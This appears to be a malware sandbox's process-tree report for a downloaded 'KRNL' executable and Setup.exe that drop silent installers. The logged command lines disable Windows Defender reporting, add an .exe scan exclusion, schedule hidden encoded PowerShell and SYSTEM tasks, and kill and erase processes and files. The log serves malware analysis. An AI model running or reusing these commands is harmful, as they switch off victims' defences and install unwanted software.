"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.11.1634026612\1034374605" -childID 10 -isForBrowser -prefsHandle 5672 -prefMapHandle 4912 -prefsLen 27195 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d32c90f8-619f-427d-9308-c5353c7a575a} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6440 2851f297258 tab
3⤵
PID:2268

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.12.1022092172\536062216" -childID 11 -isForBrowser -prefsHandle 6692 -prefMapHandle 6684 -prefsLen 27331 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {93b88a46-00bd-4c4c-a266-d5eb0290ed33} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 4456 28518e34f58 tab
3⤵
PID:2672

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.13.1917287498\710306244" -childID 12 -isForBrowser -prefsHandle 6928 -prefMapHandle 6920 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {65aca3bb-ea33-46af-86cc-b98333a0a221} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6940 2851f244a58 tab
3⤵
PID:1556

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.14.1194912192\1671698161" -childID 13 -isForBrowser -prefsHandle 6456 -prefMapHandle 6672 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2f737633-a697-4f52-aabb-3b52c108dbff} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6460 2852140fc58 tab
3⤵
PID:5356

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.15.846691479\131333440" -parentBuildID 20221007134813 -prefsHandle 7112 -prefMapHandle 7116 -prefsLen 27340 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b46dceee-190e-4538-b54c-2eccec545fb5} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 3560 285220b0b58 rdd
3⤵
PID:6092

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.16.1218972393\626450385" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 6380 -prefMapHandle 1436 -prefsLen 27340 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e27cf752-3550-4fb8-975b-2234e3bb04f9} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7252 285220b1758 utility
3⤵
PID:5072

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.17.1931948050\1277489501" -childID 14 -isForBrowser -prefsHandle 7528 -prefMapHandle 7180 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {684d2ee0-f078-4380-a267-69610561df18} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6460 2852244db58 tab
3⤵
PID:2396

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.18.792787477\1292228893" -childID 15 -isForBrowser -prefsHandle 4952 -prefMapHandle 6212 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ddd76c68-cdb8-4287-a9c7-56a49ae55e06} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7756 2851620b258 tab
3⤵
PID:1744

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.20.1771469255\1426497796" -childID 17 -isForBrowser -prefsHandle 4264 -prefMapHandle 4216 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {00eed7ae-2cb3-4503-81c7-d80f1e47dada} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 4032 28518f39b58 tab
3⤵
PID:5424

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.19.1919114771\647342777" -childID 16 -isForBrowser -prefsHandle 6212 -prefMapHandle 11248 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dda554b8-d7ca-408a-a0dc-187bcaa5a5b4} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 11720 28518f3c258 tab
3⤵
PID:2612

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.23.1711462736\615420474" -childID 20 -isForBrowser -prefsHandle 11932 -prefMapHandle 11936 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4da0bd0b-ebb2-4992-a010-97fae034e745} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 11920 2851a987e58 tab
3⤵
PID:4688

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.22.521138795\964540096" -childID 19 -isForBrowser -prefsHandle 11684 -prefMapHandle 11804 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8f241c4b-b0af-4742-9f4a-19711dfc7124} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6860 2851901f758 tab
3⤵
PID:460

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.21.546135419\699826857" -childID 18 -isForBrowser -prefsHandle 4464 -prefMapHandle 4540 -prefsLen 27340 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4bc67960-0c3d-49be-b100-4d12c262e39b} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7520 28522163d58 tab
3⤵
PID:1092

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.24.486413864\513945436" -childID 21 -isForBrowser -prefsHandle 4540 -prefMapHandle 2816 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {df17e8c4-92af-46bc-90f7-bcf8da9f6a93} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7624 2851638ca58 tab
3⤵
PID:5276

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.25.451382817\1302772400" -childID 22 -isForBrowser -prefsHandle 7840 -prefMapHandle 11732 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5060478-7176-4755-b378-6e896911c42f} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7540 2851f1be258 tab
3⤵
PID:5952

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.26.469284045\36117234" -childID 23 -isForBrowser -prefsHandle 7088 -prefMapHandle 11272 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {36209d68-bd0e-43ae-9344-e7a74014a115} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 11928 2851d26be58 tab
3⤵
PID:948

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.27.567410630\1023519347" -childID 24 -isForBrowser -prefsHandle 6380 -prefMapHandle 7512 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dbef293a-ef25-418c-bd94-cee250bdaee4} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 11752 2851d26d658 tab
3⤵
PID:3464

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.28.470235532\1048089482" -childID 25 -isForBrowser -prefsHandle 6912 -prefMapHandle 7132 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {42276cb4-c320-4471-baee-778111d75767} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7004 2851d26d958 tab
3⤵
PID:4144

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.29.1330156220\928330211" -childID 26 -isForBrowser -prefsHandle 7644 -prefMapHandle 7640 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {be76ba1b-3782-471c-9025-28e9586159a0} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7632 2851937b758 tab
3⤵
PID:584

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.30.615137543\1115651016" -childID 27 -isForBrowser -prefsHandle 2880 -prefMapHandle 6584 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {26c2f60f-0d41-48fa-bcdc-f5b5b3a949e2} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 7092 285191dda58 tab
3⤵
PID:1372

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.31.236619547\645085506" -childID 28 -isForBrowser -prefsHandle 11996 -prefMapHandle 6772 -prefsLen 27389 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5ecfabab-4270-4386-9152-fd5aed68a84b} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 12004 2851620e258 tab
3⤵
PID:5104

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.32.1200834483\2021873373" -childID 29 -isForBrowser -prefsHandle 7468 -prefMapHandle 7412 -prefsLen 29446 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dc100795-fbb6-40d5-a527-531193ac01ab} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6896 2851ae64758 tab
3⤵
PID:3696

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.33.405663782\334323081" -childID 30 -isForBrowser -prefsHandle 6216 -prefMapHandle 7212 -prefsLen 29446 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5e775442-5a73-4974-bfb1-8e30082df3a2} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 6320 2851b0f2b58 tab
3⤵
PID:2876

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.34.673096460\1404423255" -childID 31 -isForBrowser -prefsHandle 11604 -prefMapHandle 7104 -prefsLen 29446 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f658472c-ac95-4195-aef5-0d5d098378d4} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 11964 28509bba258 tab
3⤵
PID:6044

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1452.35.1758465264\816275948" -childID 32 -isForBrowser -prefsHandle 7784 -prefMapHandle 11852 -prefsLen 29446 -prefMapSize 232675 -jsInitHandle 1472 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {173fe3e4-0090-49d8-8c41-04f64e07377e} 1452 "\\.\pipe\gecko-crash-server-pipe.1452" 12000 28509bbae58 tab
3⤵
PID:5968

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3f8 0x40c
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5872

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:900

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\Install\" -spe -an -ai#7zMap16532:76:7zEvent24593
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5176

C:\Users\Admin\Downloads\Install\Setup.exe
"C:\Users\Admin\Downloads\Install\Setup.exe"
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4204

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\MSBuild.exe"
2⤵
PID:1336

C:\Users\Admin\Downloads\KRNL-NEW_2ySkoOf7\KRNL-NEW_2ySkoOf7.exe
"C:\Users\Admin\Downloads\KRNL-NEW_2ySkoOf7\KRNL-NEW_2ySkoOf7.exe"
1⤵
PID:5856

C:\Users\Admin\AppData\Local\Temp\is-8A5SH.tmp\is-71UB9.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8A5SH.tmp\is-71UB9.tmp" /SL4 $10500 "C:\Users\Admin\Downloads\KRNL-NEW_2ySkoOf7\KRNL-NEW_2ySkoOf7.exe" 3566781 51712
2⤵
PID:6140

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 32
3⤵
PID:4256

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 32
4⤵
PID:5940

C:\Program Files (x86)\CRDBH\CR_DBF.exe
"C:\Program Files (x86)\CRDBH\CR_DBF.exe"
3⤵
PID:5772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 896
4⤵
- Program crash
PID:4764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 932
4⤵
- Program crash
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 1000
4⤵
- Program crash
PID:4596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 140
4⤵
- Program crash
PID:5780

C:\Program Files (x86)\CRDBH\CR_DBF.exe
"C:\Program Files (x86)\CRDBH\CR_DBF.exe" 23b9277ac88e84076e66d65fdb639194
3⤵
PID:4748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 880
4⤵
- Program crash
PID:6072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 888
4⤵
- Program crash
PID:1576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 956
4⤵
- Program crash
PID:5968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 964
4⤵
- Program crash
PID:748

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1244
4⤵
- Program crash
PID:4452

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1308
4⤵
- Program crash
PID:1276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1348
4⤵
- Program crash
PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1352
4⤵
- Program crash
PID:5948

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1364
4⤵
- Program crash
PID:2112

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1336
4⤵
- Program crash
PID:4260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1004
4⤵
- Program crash
PID:5640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1708
4⤵
- Program crash
PID:5268

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1404
4⤵
- Program crash
PID:6008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1712
4⤵
- Program crash
PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1396
4⤵
- Program crash
PID:4260

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1400
4⤵
- Program crash
PID:1144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1496
4⤵
- Program crash
PID:6084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1964
4⤵
- Program crash
PID:5480

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1844
4⤵
- Program crash
PID:2032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2000
4⤵
- Program crash
PID:3024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2000
4⤵
- Program crash
PID:5544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2024
4⤵
- Program crash
PID:1684

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "FileDate49.exe" /f
5⤵
- Kills process with taskkill
PID:3536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1944
4⤵
- Program crash
PID:3024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1864
4⤵
- Program crash
PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2012
4⤵
- Program crash
PID:540

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1708
4⤵
- Program crash
PID:2124

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1968
4⤵
- Program crash
PID:2280

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2084
4⤵
- Program crash
PID:3512

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1708
4⤵
- Program crash
PID:6024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2064
4⤵
- Program crash
PID:1532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2092
4⤵
- Program crash
PID:5276

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2080
4⤵
- Program crash
PID:5536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1808
4⤵
- Program crash
PID:2764

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2072
4⤵
- Program crash
PID:4208

C:\Users\Admin\AppData\Local\Temp\CMzZ0QkN\4A2ahKee1cmK.exe
C:\Users\Admin\AppData\Local\Temp\CMzZ0QkN\4A2ahKee1cmK.exe /VERYSILENT
4⤵
PID:612

C:\Users\Admin\AppData\Local\Temp\is-6OMCI.tmp\is-HI2FO.tmp
"C:\Users\Admin\AppData\Local\Temp\is-6OMCI.tmp\is-HI2FO.tmp" /SL4 $14053A "C:\Users\Admin\AppData\Local\Temp\CMzZ0QkN\4A2ahKee1cmK.exe" 2078695 52736 /VERYSILENT
5⤵
PID:3308

C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe
"C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe" install
6⤵
PID:3756

C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe
"C:\Program Files (x86)\Erkalo 4.6\Erkalo46.exe" start
6⤵
PID:3100

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" pause Erkalo46
6⤵
PID:5928

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 10
6⤵
PID:5776

C:\Users\Admin\AppData\Local\Temp\UG4M0CC8\Bnp9rS.exe
C:\Users\Admin\AppData\Local\Temp\UG4M0CC8\Bnp9rS.exe /S /site_id=690689
4⤵
PID:5492

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
5⤵
PID:3304

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
6⤵
PID:2384

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
7⤵
PID:1720

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gxklnrgSX" /SC once /ST 11:43:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
5⤵
- Creates scheduled task(s)
PID:5780

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
5⤵
PID:4248

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gxklnrgSX"
5⤵
PID:5988

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gxklnrgSX"
5⤵
PID:6112

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bNGgFdDsypyoejEjNE" /SC once /ST 22:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\iuFLplCWxXXtgEsyg\YFeOtscHiIuELlZ\ALDypZy.exe\" 4N /site_id 690689 /S" /V1 /F
5⤵
- Creates scheduled task(s)
PID:3640

C:\Users\Admin\AppData\Local\Temp\3juiWcf6\8Psw5fntRa3UFAC.exe
C:\Users\Admin\AppData\Local\Temp\3juiWcf6\8Psw5fntRa3UFAC.exe /m SUB=23b9277ac88e84076e66d65fdb639194
4⤵
PID:2712

C:\Users\Admin\AppData\Local\Temp\is-EGR6J.tmp\is-LD2HB.tmp
"C:\Users\Admin\AppData\Local\Temp\is-EGR6J.tmp\is-LD2HB.tmp" /SL4 $306CA "C:\Users\Admin\AppData\Local\Temp\3juiWcf6\8Psw5fntRa3UFAC.exe" 1470263 56320 /m SUB=23b9277ac88e84076e66d65fdb639194
5⤵
PID:6020

C:\Users\Admin\AppData\Local\Temp\is-SM5IA.tmp\FileDate49\FileDate49.exe
"C:\Users\Admin\AppData\Local\Temp\is-SM5IA.tmp\FileDate49\FileDate49.exe" /m SUB=23b9277ac88e84076e66d65fdb639194
6⤵
PID:4072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "FileDate49.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\is-SM5IA.tmp\FileDate49\FileDate49.exe" & exit
7⤵
PID:1684

C:\Windows\SysWOW64\net.exe
"C:\Windows\system32\net.exe" helpmsg 28
6⤵
PID:452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 helpmsg 28
7⤵
PID:3844

C:\Users\Admin\AppData\Local\Temp\kLNCFghz\37c0y.exe
C:\Users\Admin\AppData\Local\Temp\kLNCFghz\37c0y.exe
4⤵
PID:1144

C:\Users\Admin\AppData\Local\Temp\is-8FITK.tmp\is-NRN4R.tmp
"C:\Users\Admin\AppData\Local\Temp\is-8FITK.tmp\is-NRN4R.tmp" /SL4 $10754 "C:\Users\Admin\AppData\Local\Temp\kLNCFghz\37c0y.exe" 1921912 48640
5⤵
PID:5060

C:\Program Files (x86)\BWngBackup\SyncBackupShell.exe
"C:\Program Files (x86)\BWngBackup\SyncBackupShell.exe"
6⤵
PID:2308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1980
4⤵
- Program crash
PID:3448

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2072
4⤵
- Program crash
PID:5320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1980
4⤵
- Program crash
PID:3368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2108
4⤵
- Program crash
PID:3376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2188
4⤵
- Program crash
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2148
4⤵
- Program crash
PID:1836

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2100
4⤵
- Program crash
PID:5808

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2188
4⤵
- Program crash
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 872
4⤵
- Program crash
PID:4956

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 1560
4⤵
- Program crash
PID:4536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4748 -s 2148
4⤵
